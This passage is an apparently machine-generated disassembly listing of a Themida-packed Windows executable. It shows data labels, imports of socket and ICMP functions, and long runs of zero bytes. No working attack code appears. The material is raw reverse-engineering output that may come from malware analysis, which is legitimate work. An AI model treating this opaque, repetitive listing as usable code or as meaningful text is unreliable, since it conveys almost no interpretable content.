dup(0) word_447342 dw 0 ; DATA XREF: ___:00408AC2o ; sub_40FF60+132o dd 6 dup(0) word_44735C dw 0 ; DATA XREF: sub_40FF60+1E1r align 10h dd 0Ah dup(0) db 3 dup(0) byte_44738B db 0 ; DATA XREF: ___:00408B14o ; sub_40FF60+17Co ... dd 12h dup(0) dword_4473D4 dd 12h dup(0) ; sub_40FF60+F7o ... db 0 byte_44741D db 3 dup(0) ; DATA XREF: ___:00408A4Do ; sub_40FF60+D0o ... dd 23h dup(0) db 3 dup(0) byte_4474AF db 0 ; DATA XREF: ___:00408B3Do ; sub_40FF60+19Ao dd 24h dup(0) db 0 byte_447541 db 3 dup(0) ; DATA XREF: sub_425020+2Bo ; sub_425020+37o dd 11h dup(0) db 2 dup(0) word_44758A dw 0 ; DATA XREF: ___:00412E9Ao ; ___:00412EB9o ... dd 3Ch dup(0) db 3 dup(0) dword_44767F dd 0 ; sub_41EF30+154r ... align 4 dd 35h dup(0) db 0 byte_447759 db 0 ; DATA XREF: sub_41B950+18r align 4 dd 36h dup(0) byte_447834 db 0 ; DATA XREF: sub_40FF60+842r align 4 dd 0Bh dup(0) dword_447864 dd 18h dup(0) ; sub_40ED70+97o ... db 2 dup(0) byte_4478C6 db 0 ; DATA XREF: sub_404C70+258r ; sub_41D830+671r align 4 dd 11h dup(0) db 3 dup(0) byte_44790F db 0 ; DATA XREF: sub_404C70:loc_404EE0r ; sub_41D830:loc_41DEB9r dd 0Bh dup(0) db 3 dup(0) byte_44793F db 0 ; DATA XREF: sub_404C70+279o ; sub_41D830+692o ... dd 12h dup(0) dword_447988 dd 2Bh dup(0) ; sub_41EF30+630o ... dword_447A34 dd 0 dd 11h dup(0) db 0 dword_447A7D dd 0 align 4 dd 0D9h dup(0) byte_447DE8 db 0 ; DATA XREF: sub_41EF30+146r ; sub_41EF30+5EEr align 4 dd 3A8h dup(0) db 2 dup(0) word_448C8E dw 0 ; DATA XREF: sub_404640+1BDo ; sub_404B10+31o ... db 2 dup(0) word_448C92 dw 0 ; DATA XREF: sub_404B10+4o dd 1Ch dup(0) db 2 dup(0) word_448D06 dw 0 ; DATA XREF: sub_407660+36o ; sub_4076F0+3Eo ... dd 26h dup(0) dword_448DA0 dd 86h dup(0) ; sub_404C70+27Eo ... db 3 dup(0) byte_448FBB db 0 ; DATA XREF: sub_425640+3Bw ; sub_4256B0+7Ew ... dd 7Fh dup(0) db 3 dup(0) dword_4491BB dd 0 ; sub_4256B0+4Fw ... dword_4491BF dd 0 ; ___:004240BDw ... dword_4491C3 dd 0 ; sub_4256B0+5Dr ... dword_4491C7 dd 0 ; sub_4256B0+8Cr ... dword_4491CB dd 0 ; sub_4256B0+9Dr dword_4491CF dd 0 ; ___:004240F1r ... byte_4491D3 db 0 ; DATA XREF: sub_425640+42w ; sub_4256B0+85w dd 301Ch dup(0) db 3 dup(0) byte_455247 db 0 ; DATA XREF: ___:off_444F30o dword_455248 dd 0EB85h dup(0) dword_49005C dd 0B0A3h dup(0) db 0 byte_4BC2E9 db 3 dup(0) ; DATA XREF: ___:off_402009o dd 6058h dup(0) db 0 byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44432Co dd 6DAh dup(0) db 3 dup(0) dword_4D5FBB dd 0 ; sub_4258E0+13o align 10h dd 39h dup(0) db 0 byte_4D60A5 db 3 dup(0) ; DATA XREF: sub_404C20+1Eo ; sub_404C70+65o ... dd 5 dup(0) byte_4D60BC db 0 ; DATA XREF: sub_404C70+292w ; sub_404C70+4EEw dword_4D60BD dd 0 ; sub_422A40:loc_4231C4r ... align 4 dd 0 db 0 dword_4D60C9 dd 0 ; sub_404C20+2Aw byte_4D60CD db 3 dup(0) ; DATA XREF: ___:00412EF4o ; ___:00412F17o dd 9 dup(0) db 3 dup(0) dword_4D60F7 dd 0 ; sub_427AD0:loc_427BC7r align 4 dd 2Fh dup(0) db 3 dup(0) byte_4D61BB db 0 ; DATA XREF: sub_425870+16o ; sub_4258A0+19o db 3 dup(0) byte_4D61BF db 0 ; DATA XREF: sub_4257A0+4Co dd 6Fh dup(0) db 3 dup(0) byte_4D637F db 0 ; DATA XREF: ___:004081D8o ; ___:00408664o ... dd 8 dup(0) dword_4D63A0 dd 0 dd 51h dup(0) db 0 byte_4D64E9 db 0 ; DATA XREF: sub_426820:loc_4268D0r ; sub_426CE0:loc_426D95r ... align 4 dd 9Eh dup(0) db 0 dword_4D6765 dd 0 ; sub_426CE0+7Dw ... align 4 dd 1EDAh dup(0) db 0 byte_4DE2D5 db 3 dup(0) ; DATA XREF: ___:00419E93o ; sub_419F50+13o dd 1EB9h dup(0) db 3 dup(0) byte_4E5DBF db 0 ; DATA XREF: sub_426A60+1Do dd 21h dup(0) db 0 byte_4E5E45 db 3 dup(0) ; DATA XREF: ___:00419EA3o dd 235h dup(0) db 3 dup(0) byte_4E671F db 0 ; DATA XREF: sub_426A60+2Fo dd 1D5h dup(0) byte_4E6E74 db 0 ; DATA XREF: sub_404C70+299w ; sub_40FF60:loc_40FFA2r ... byte_4E6E75 db 3 dup(0) ; DATA XREF: sub_404C70+235o ; sub_404C70+87Ao ... dd 4 dup(0) db 2 dup(0) word_4E6E8A dw 0 ; DATA XREF: sub_404C70+2D4o ; ___:00408678o ... dd 0Fh dup(0) db 0 byte_4E6EC9 db 0 ; DATA XREF: sub_41F860+31w ; sub_41F860+47w ... db 0 byte_4E6ECB db 0 ; DATA XREF: sub_418490+21o ; sub_41D830+341o ... dword_4E6ECC dd 7522h dup(0) dword_504354 dd 0AC2h dup(0) dword_506E5C dd 1000h dup(0) ; ___:00419A9Do ... dword_50AE5C dd 333h dup(0) ; ___:00419AB8o ... dword_50BB28 dd 0 ; sub_41A010+1Br ... dd 3 dup(0) dword_50BB38 dd 0 ; ___:0041FB3Dw ... dword_50BB3C dd 0 ; sub_41FA90+2Aw ... dword_50BB40 dd 0 dword_50BB44 dd 0 ; ___:0041FB5Bw dword_50BB48 dd 0 dword_50BB4C dd 0 ; ___:0041FB67w ... dword_50BB50 dd 0 ; ___:0041FB6Dw ... dword_50BB54 dd 0 ; ___:00420DA9o dword_50BB58 dd 0 ; sub_41FA90:loc_41FAB4r ... dword_50BB5C dd 0 ; ___:0041FB81w dword_50BB60 dd 0 ; sub_420530+41w ... dword_50BB64 dd 0 ; sub_420530+7Fr dword_50BB68 dd 0 ; sub_420530+92r ... dword_50BB6C dd 0 ; sub_420530+148r dd 3 dup(0) dword_50BB7C dd 0 ; ___:0041C1A5o dword_50BB80 dd 0 ; sub_423720+5r ... dword_50BB84 dd 0 ; ___:00423EB1r ... dd 7CEh dup(0) dword_50DAC0 dd 6 dup(0) ; ___:00423DB2o ... dword_50DAD8 dd 196h dup(0) ; sub_423660+6Do dword_50E130 dd 0 word_50E134 dw 0 ; DATA XREF: sub_424E90+A9r align 4 byte_50E138 db 0 ; DATA XREF: sub_4254E0:loc_425540r ; sub_4254E0+97w align 4 dword_50E13C dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_426820+D9r dword_50E140 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_426820+45r dword_50E144 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_426820+54r ... dd 0 dword_50E14C dd 80h dup(0) ; sub_426A60+129o dword_50E34C dd 0 dword_50E350 dd 0 dd 1Dh dup(0) dword_50E3C8 dd 0 ; ___:0042B11Dr ... dword_50E3CC dd 0 ; sub_42CB10:loc_42CBA6r ... dword_50E3D0 dd 0 ; resolved to->WS2_32.connect ; sub_431280+2Dr ... dword_50E3D4 dd 0 dword_50E3D8 dd 0 ; sub_430270r ... dword_50E3DC dd 0 dword_50E3E0 dd 0 ; sub_42F6B0+111w ... dword_50E3E4 dd 0 ; sub_42F6B0+F6r ... dword_50E3E8 dd 0 ; ___:loc_4303B0r dword_50E3EC dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_430FE0+2Cr ... dd 2 dup(0) dd 0 dd 139h dup(0) dword_50E8E0 dd 10h dup(0) ; sub_430180:loc_4301B0o ... dword_50E920 dd 8 dup(0) ; sub_42F540+25o ... dword_50E940 dd 8 dup(0) ; sub_430690+25o ... dword_50E960 dd 8 dup(0) ; sub_431560+84o ... dword_50E980 dd 8 dup(0) ; sub_431560+8Bo ... dword_50E9A0 dd 9 dup(0) ; sub_42F6B0:loc_42F7C7o ... dd 0FFFFFFFFh, 3 dup(0) dd 0FFFFFFFFh, 18Ah dup(0) ; --------------------------------------------------------------------------- retf 0AEB6h ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- retf 0AEB6h ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- retf 0AEB6h ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- retf 0AEB6h ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- retf 0AEB6h ; --------------------------------------------------------------------------- db 7Fh dd 5 dup(467E6C3Bh), 5 dup(7880050Fh), 5 dup(53A6B7B1h) dd 5 dup(2957278Bh), 5 dup(6B42D42Eh), 5 dup(21124241h) dd 5 dup(19859DC1h), 5 dup(1902FF23h), 5 dup(4DF78446h) dd 5 dup(2529ABE0h), 1Eh dup(0) dd 6B42D42Eh, 10h dup(0) dd 2529ABE0h, 58h dup(0) dd 53A6B7B1h, 1Bh dup(0) dd 1902FF23h, 14h dup(0) dd 467E6C3Bh, 52h dup(0) ; --------------------------------------------------------------------------- retf 0AEB6h ; --------------------------------------------------------------------------- db 7Fh dd 1Bh dup(0) dd 4DF78446h, 0Bh dup(0) dd 21124241h, 0Ch dup(0) dd 2957278Bh, 2Bh dup(0) dd 19859DC1h, 11h dup(0) dd 7880050Fh, 0Ah dup(0) dd 2890574h, 28A0000h, 28B0000h dword_50F710 dd 28B154Fh dd 28B1717h dword_50F718 dd 28B191Ch dd 28B1C4Ah, 28C0000h dword_50F724 dd 28D0000h dd 28E0000h, 28E0491h, 28E08ACh, 28F0000h dword_50F738 dd 28F035Eh ; sub_40E7A0+25Ar ... dword_50F73C dd 28F08B3h dword_50F740 dd 28F0C1Dh dd 2900000h, 2900382h dword_50F74C dd 2900668h ; sub_40ED70+15Er ... dd 2900944h dword_50F754 dd 2910000h ; sub_40E7A0+22Cr dd 2920000h dword_50F75C dd 292023Dh ; sub_4207E0+285r ... dd 2930000h dword_50F764 dd 29313C6h ; sub_40E7A0+24Cr dd 10h dup(0) dd 76F36C5Bh, 0Bh dup(0) dd 2700000h, 2700143h, 2710000h, 271078Bh, 27109D5h, 2710D3Bh dd 2720000h, 272011Dh, 272087Fh, 2720C0Eh, 2730000h, 2730201h dd 27308A1h, 27308FFh, 2740000h, 27404B4h, 27406F0h, 27409DEh dd 2740BA2h, 2740EF6h, 2750000h, 275058Fh, 27505ECh, 27509EAh dd 2750AF6h, 2750C97h, 2760000h, 2760203h, 27603AFh, 27604A7h dd 27605F1h, 2760676h dword_50F858 dd 276085Dh dword_50F85C dd 2760EBFh dword_50F860 dd 2770000h dd 7C901005h, 7C9010EDh, 27702BDh, 27702D6h dword_50F874 dd 2770316h ; sub_420530+FEr dd 2770920h, 2780000h, 27803AAh, 278070Eh, 2790000h, 27A0000h dd 27A08E3h, 27B0000h, 27C0000h, 27C0890h dword_50F8A0 dd 27D0000h ; sub_420530:loc_42057Cr ... dword_50F8A4 dd 27D0802h ; sub_40FF60+47r ... dd 27D08ABh, 27E0000h, 27E0517h, 27F0000h, 27F106Eh, 2800000h dd 2810000h dword_50F8C4 dd 2811558h dd 2811729h, 2811B29h dword_50F8D0 dd 2811E0Eh ; sub_41B4B0+2Fr ... dd 2820000h dword_50F8D8 dd 28207FBh ; sub_4203D0+2Er ... dd 2830000h, 2840000h, 2840C46h dword_50F8E8 dd 2850000h dd 285027Ch, 2860000h, 2870000h, 2871176h, 2871CFFh, 2880000h dd 2880730h, 2880CB7h dd 2890000h dd 1Ah dup(0) dd 71B2578Ch, 71B25099h, 0Bh dup(0) dword_50F9AC dd 760AC190h dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0) dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h dd 77C3A3DBh, 77C4186Ah dword_50FA60 dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42D2C0+53r ... dword_50FA64 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h dword_50FA78 dd 77C5F988h ; resolved to->MSVCRT._pctype; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0C0h, 0C2h, 77h dword_50FA80 dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_50FA84 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42CB10+4Ar ... ; --------------------------------------------------------------------------- imul dh retn ; --------------------------------------------------------------------------- db 77h dd 77C41B72h dword_50FA90 dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_50FA94 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_50FA98 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_50FA9C dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_50FAA0 dd 77C41574h ; resolved to->MSVCRT.ftelldword_50FAA4 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h dword_50FAAC dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C2DAr ; --------------------------------------------------------------------------- adc al, dh retn ; --------------------------------------------------------------------------- db 77h dd 77C40AB1h, 77C4FA10h dword_50FABC dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41B950+17Er ... dd 77C371BCh dword_50FAC4 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42DFD0+34r ... dd 77C2C407h dword_50FACC dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh dword_50FAD4 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42CB10+90r dword_50FAD8 dd 77C3FA76h ; resolved to->MSVCRT._snprintf db 90h db 0CFh, 0C1h, 77h dword_50FAE0 dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- mul byte ptr [esi] retn 0E777h ; --------------------------------------------------------------------------- db 14h, 0C2h, 77h dd 77C29CC5h dword_50FAF4 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BC90+5Dr dword_50FAF8 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_40FF60+1126r ... dword_50FAFC dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419BDAr dd 77C29CDDh, 77C293C7h dword_50FB08 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422A40+203r ... dd 77C35F0Dh, 77C46170h dword_50FB14 dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C46125h dd 77C46320h dd 19h dup(0) dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0) dd 7CA41110h, 0Bh dup(0) dd 2890339h off_50FBF0 dd offset sub_5EA1BD ; DATA XREF: ___:00419EBDr ; sub_419F50+2Dr ... dd 0Bh dup(0) dword_50FC20 dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB951Eh, 71AB3E00h dword_50FC2C dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425020:loc_4250C9r ... dword_50FC30 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42A5F0:loc_42A6ABr dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h dword_50FC44 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AB88D3h dword_50FC50 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42B540+E8r dd 71AB2BC0h dword_50FC58 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_50FC5C dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42A5F0+F9r dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh dd 71AB2A5Eh dword_50FC78 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB2BC0h dword_50FC80 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A6D0+48r ... dword_50FC84 dd 71AC1028h ; resolved to->WS2_32.acceptdword_50FC88 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F860+198r ... dword_50FC8C dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004216E1r ... dword_50FC90 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_427AD0+18Dr ... dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0) dd 76D6AC1Dh, 4C5h dup(0) ___ ends ; Section 2. (virtual address 00111000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00111000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 511000h unk_511000 db 0 ; DATA XREF: Themida_:0057A3CCo db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 